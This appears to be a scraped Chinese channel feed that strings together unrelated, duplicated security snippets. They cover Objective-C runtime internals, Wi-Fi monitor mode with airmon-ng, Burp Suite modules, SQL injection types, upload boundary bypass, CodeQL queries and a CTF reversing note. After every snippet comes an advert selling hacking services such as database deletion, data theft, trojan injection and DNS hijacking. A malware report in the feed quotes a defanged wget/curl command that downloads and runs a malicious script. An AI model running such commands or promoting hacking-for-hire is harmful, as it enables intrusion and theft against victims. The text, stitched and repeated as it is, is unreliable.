Objective-C 中的方法调用通过使用 objc_msgSend(void /* id self, SEL op, ... */) 函数向对象发送消息,上面的代码:[a characterAtIndex:1] 在运行时转换为:objc_msgSend(id self, @selector(characterAtIndex:), 1) 。接下来继续剖析id和SEL数据类型,来揭开 objc 消息发送机制的神秘面纱。
id 是 objc 中指向任何(NSObject)类实例的指针(和C中的 void*还是有所区别的 void*指一个未知类型或未知内容的指针),id定义在 runtime/objc.h 头文件中:
/// An opaque type that represents an Objective-C class.
typedef struct objc_class *Class;
/// Represents an instance of a class.
struct objc_object {
Class _Nonnull isa OBJC_ISA_AVAILABILITY;
};
/// A pointer to an instance of a class.
typedef struct objc_object *id;
objc_class 结构它具有名称 ( name ) 、指向其超类 ( super_class ) 的指针、指向实例变量的指针 ( ivars )、方法列表 ( methodLists )、缓存 ( cache ),最后是协议列表 ( protocols )。
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
id 是 objc 中指向任何(NSObject)类实例的指针(和C中的 void*还是有所区别的 void*指一个未知类型或未知内容的指针),id定义在 runtime/objc.h 头文件中:
/// An opaque type that represents an Objective-C class.
typedef struct objc_class *Class;
/// Represents an instance of a class.
struct objc_object {
Class _Nonnull isa OBJC_ISA_AVAILABILITY;
};
/// A pointer to an instance of a class.
typedef struct objc_object *id;
objc_class 结构它具有名称 ( name ) 、指向其超类 ( super_class ) 的指针、指向实例变量的指针 ( ivars )、方法列表 ( methodLists )、缓存 ( cache ),最后是协议列表 ( protocols )。
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
VMware上的虚拟机里面的可移动设备是不是连接了网卡,如果不是连接一下,还不行的话看下自己买的网卡是不是支持kali或者是不是免驱的,这里注意一点就是,有些网卡虽然支持监听,但是不是免驱的,就有点麻烦,有些良心的会把驱动带上,直接安装就行了,有些是需要你自己去找驱动的,避免踩坑,网上帖子说的那种十几二十块的网卡,我是没买到过,我这个是50多(不知道有没有被坑),但是发射范围不大,只能作为实验或者说你去到人家楼下能够监听到网络的范围,不然的话可以买军工级别的,某鱼上面偶尔会有军工级别的放出来,用来钓鱼的话完全没问题,发射范围好几条街
如果一切正常,检测到了网卡的存在,接着开启下网卡的监控,不开启的话是没办法进行监听的,有一些工具开启之后会帮你打开这个东西
#开启网卡监控
airmon-ng start wlan0(这个位置是根据的你interface名称来的)
此时网卡名称变化,可以使用命令看看网卡的名字是否改变
此时已经开启了网卡的监控,可以开始扫描现场存在的wifi了
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
如果一切正常,检测到了网卡的存在,接着开启下网卡的监控,不开启的话是没办法进行监听的,有一些工具开启之后会帮你打开这个东西
#开启网卡监控
airmon-ng start wlan0(这个位置是根据的你interface名称来的)
此时网卡名称变化,可以使用命令看看网卡的名字是否改变
此时已经开启了网卡的监控,可以开始扫描现场存在的wifi了
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
Burp suite是一个集成化的渗透测试工具,它集合了多种渗透测试组件,使我们能够自动化或手工的完成对web应用的渗透测试攻击,在渗透测试中,我们使用Burp suite将会使得测试工作变得更加容易和方便,即使在需要要娴熟的技巧的情况下,只要我们熟悉Burp suite的使用,也会使得渗透测试工作变得更加轻松和高效。
Burp suite 各大模块:
Target(目标)——显示目标目录结构的的一个功能
Proxy(代理)——拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。
Spider(蜘蛛)——应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。
Scanner(扫描器)——高级工具,执行后,它能自动地发现web 应用程序的安全漏洞。
Intruder(入侵)——一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing 技术探测常规漏洞。
Repeater(中继器)——一个靠手动操作来触发单独的HTTP 请求,并分析应用程序响应的工具。
Sequencer(会话)——用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
Decoder(解码器)——进行手动执行或对应用程序数据者智能解码编码的工具。
Comparer(对比)——通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。
Extender(扩展)——可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。
Options(设置)——对Burp Suite的一些设置
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
Burp suite 各大模块:
Target(目标)——显示目标目录结构的的一个功能
Proxy(代理)——拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。
Spider(蜘蛛)——应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。
Scanner(扫描器)——高级工具,执行后,它能自动地发现web 应用程序的安全漏洞。
Intruder(入侵)——一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing 技术探测常规漏洞。
Repeater(中继器)——一个靠手动操作来触发单独的HTTP 请求,并分析应用程序响应的工具。
Sequencer(会话)——用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。
Decoder(解码器)——进行手动执行或对应用程序数据者智能解码编码的工具。
Comparer(对比)——通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。
Extender(扩展)——可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。
Options(设置)——对Burp Suite的一些设置
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
SQL注入
SQL注入是一种攻击,当攻击者能够在易受攻击的SQL查询中插入并执行恶意代码时发生,如[10]中所讨论的。这些攻击通常用于绕过登录机制或从数据库中窃取敏感信息。
SQL注入漏洞的主要原因在于直接在SQL查询中使用未清理的用户输入,以及缺乏安全编程实践,如预编译语句或参数化查询。
经典的SQL注入形式包括尾随查询,攻击者通过插入恶意SQL代码来操纵输入字段,通常使用分号(;)来终止合法查询并附加恶意查询。另一个典型案例是利用存储过程,攻击者通过注入的SQL语句创建或操纵数据库过程。
更高级的SQL注入形式包括:
盲SQL注入,用于应用程序不返回可见错误消息但允许通过行为变化进行推断的情况。这可以进一步分类为:
基于布尔(基于内容):攻击者在查询中发送布尔条件,并观察应用程序响应的内容或结构差异,以推断信息。
基于时间:攻击者利用SLEEP()或WAITFOR DELAY等命令诱导时间延迟,从响应持续时间推断数据。
基于UNION的SQL注入,攻击者使用SQL UNION运算符将原始查询的结果与另一个恶意查询的结果结合起来,从而有效地从其他表中检索数据。
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
SQL注入是一种攻击,当攻击者能够在易受攻击的SQL查询中插入并执行恶意代码时发生,如[10]中所讨论的。这些攻击通常用于绕过登录机制或从数据库中窃取敏感信息。
SQL注入漏洞的主要原因在于直接在SQL查询中使用未清理的用户输入,以及缺乏安全编程实践,如预编译语句或参数化查询。
经典的SQL注入形式包括尾随查询,攻击者通过插入恶意SQL代码来操纵输入字段,通常使用分号(;)来终止合法查询并附加恶意查询。另一个典型案例是利用存储过程,攻击者通过注入的SQL语句创建或操纵数据库过程。
更高级的SQL注入形式包括:
盲SQL注入,用于应用程序不返回可见错误消息但允许通过行为变化进行推断的情况。这可以进一步分类为:
基于布尔(基于内容):攻击者在查询中发送布尔条件,并观察应用程序响应的内容或结构差异,以推断信息。
基于时间:攻击者利用SLEEP()或WAITFOR DELAY等命令诱导时间延迟,从响应持续时间推断数据。
基于UNION的SQL注入,攻击者使用SQL UNION运算符将原始查询的结果与另一个恶意查询的结果结合起来,从而有效地从其他表中检索数据。
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
❤1
Content-Type中的boundary边界混淆绕过
因为上面讲到了Content-Type类型,那么对于我们来说,文件上传一定是利用了Content-Type中的multipart/form-data来进行的文件上传操作,刚才讲到了利用multipart/form-data必须用boundary边界来进行限制,那么我们这里研究一下boundary边界的一些问题。
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
因为上面讲到了Content-Type类型,那么对于我们来说,文件上传一定是利用了Content-Type中的multipart/form-data来进行的文件上传操作,刚才讲到了利用multipart/form-data必须用boundary边界来进行限制,那么我们这里研究一下boundary边界的一些问题。
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
针对 Linux SSH 服务器代理安装攻击
TinyProxy 安装案例
攻击尝试登录蜜罐Linux服务器,登录成功后,使用以下命令下载并执行Bash恶意软件。
# (wget -O s.sh hxxps://0x0[.]st/8VDs.sh || curl -o s.sh hxxps://0x0[.]st/8VDs.sh) && chmod +x s.sh && sh s.sh
该 Bash 脚本首先根据操作系统环境使用 apt、yum 或 dnf 安装 TinyProxy。它会操作配置文件以允许外部连接并保持持久性。
具体来说,删除 TinyProxy 配置文件“/etc/tinyproxy/tinyproxy.conf”或“/etc/tinyproxy.conf”中以 Allow 和 Deny 开头的访问控制规则,并添加规则“Allow 0.0.0.0/0”。此规则允许来自外部来源的不受限制的访问。这样,攻击者就可以访问 TinyProxy 服务使用的 8888 端口,并将受感染的系统用作代理。
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
TinyProxy 安装案例
攻击尝试登录蜜罐Linux服务器,登录成功后,使用以下命令下载并执行Bash恶意软件。
# (wget -O s.sh hxxps://0x0[.]st/8VDs.sh || curl -o s.sh hxxps://0x0[.]st/8VDs.sh) && chmod +x s.sh && sh s.sh
该 Bash 脚本首先根据操作系统环境使用 apt、yum 或 dnf 安装 TinyProxy。它会操作配置文件以允许外部连接并保持持久性。
具体来说,删除 TinyProxy 配置文件“/etc/tinyproxy/tinyproxy.conf”或“/etc/tinyproxy.conf”中以 Allow 和 Deny 开头的访问控制规则,并添加规则“Allow 0.0.0.0/0”。此规则允许来自外部来源的不受限制的访问。这样,攻击者就可以访问 TinyProxy 服务使用的 8888 端口,并将受感染的系统用作代理。
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
参数类型为指定的数据结构
通过对上一步查询结果的观察,发现存在非绑定类型的参数,如:String 类型。
因此我们需要进一步筛选出符合自动绑定类型的参数。
通过阅读源码,发现该项目相关的绑定参数定义在 org.linlinjava.litemall.db.domain包下,且都符合LitemallXXX的命名格式,因此定义如下一个谓词进行过滤:
1from Parameter bodyParameter
2where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
3daoClass(bodyParameter.getType())
4select bodyParameter, "has a annotation"
predicate daoClass(Class c) {
c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
c.getName().matches("Litemall%")
}
对应的where 语句更新为:
1predicate daoClass(Class c) {
2 c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
3 c.getName().matches("Litemall%")
4}
from Parameter bodyParameter
where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
daoClass(bodyParameter.getType())
select bodyParameter, "has a annotation"
为了方便,将上面的代码进行整合,重新定义一个 BodyParameter 类,用来获取所有满足前两个步骤的请求参数:
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
通过对上一步查询结果的观察,发现存在非绑定类型的参数,如:String 类型。
因此我们需要进一步筛选出符合自动绑定类型的参数。
通过阅读源码,发现该项目相关的绑定参数定义在 org.linlinjava.litemall.db.domain包下,且都符合LitemallXXX的命名格式,因此定义如下一个谓词进行过滤:
1from Parameter bodyParameter
2where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
3daoClass(bodyParameter.getType())
4select bodyParameter, "has a annotation"
predicate daoClass(Class c) {
c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
c.getName().matches("Litemall%")
}
对应的where 语句更新为:
1predicate daoClass(Class c) {
2 c.getPackage().getName() = "org.linlinjava.litemall.db.domain" and
3 c.getName().matches("Litemall%")
4}
from Parameter bodyParameter
where bodyParameter.getAnAnnotation() instanceof RequestbodyAnnotation and
daoClass(bodyParameter.getType())
select bodyParameter, "has a annotation"
为了方便,将上面的代码进行整合,重新定义一个 BodyParameter 类,用来获取所有满足前两个步骤的请求参数:
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
该指令格式在CTF和攻防对抗中经常出现,可以提高执行效率的同时也可以增加逆向的难度。
对于此类指令和题目,我们分析的方法是:遇到查意思,查的多了就跟看正常代码一样,采用动态分析。
机器码修改
将内置的机器码改为题目给的:1653643685031597
修改成功:得到flag的时候跟machine这个有很大关系。
machine_id处理,在这个加密函数中,发现了MD5特征
经过动调拿到函数加密后的结果,与我们的猜测是相符的
可以发现最终md5(机器码)变成,user_id处理和调试machine加密一样,最终MD5(user_id)变成这个数字:1228240365737281
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang
对于此类指令和题目,我们分析的方法是:遇到查意思,查的多了就跟看正常代码一样,采用动态分析。
机器码修改
将内置的机器码改为题目给的:1653643685031597
修改成功:得到flag的时候跟machine这个有很大关系。
machine_id处理,在这个加密函数中,发现了MD5特征
经过动调拿到函数加密后的结果,与我们的猜测是相符的
可以发现最终md5(机器码)变成,user_id处理和调试machine加密一样,最终MD5(user_id)变成这个数字:1228240365737281
⚫️⚫️⚫️渗透测试,#删库,数据删除 拿数据库 木马注入 破解,提权,Dns动持⚫️⚫️⚫️
#黑客接单 @逆向破解 #渗透
@changwaiguang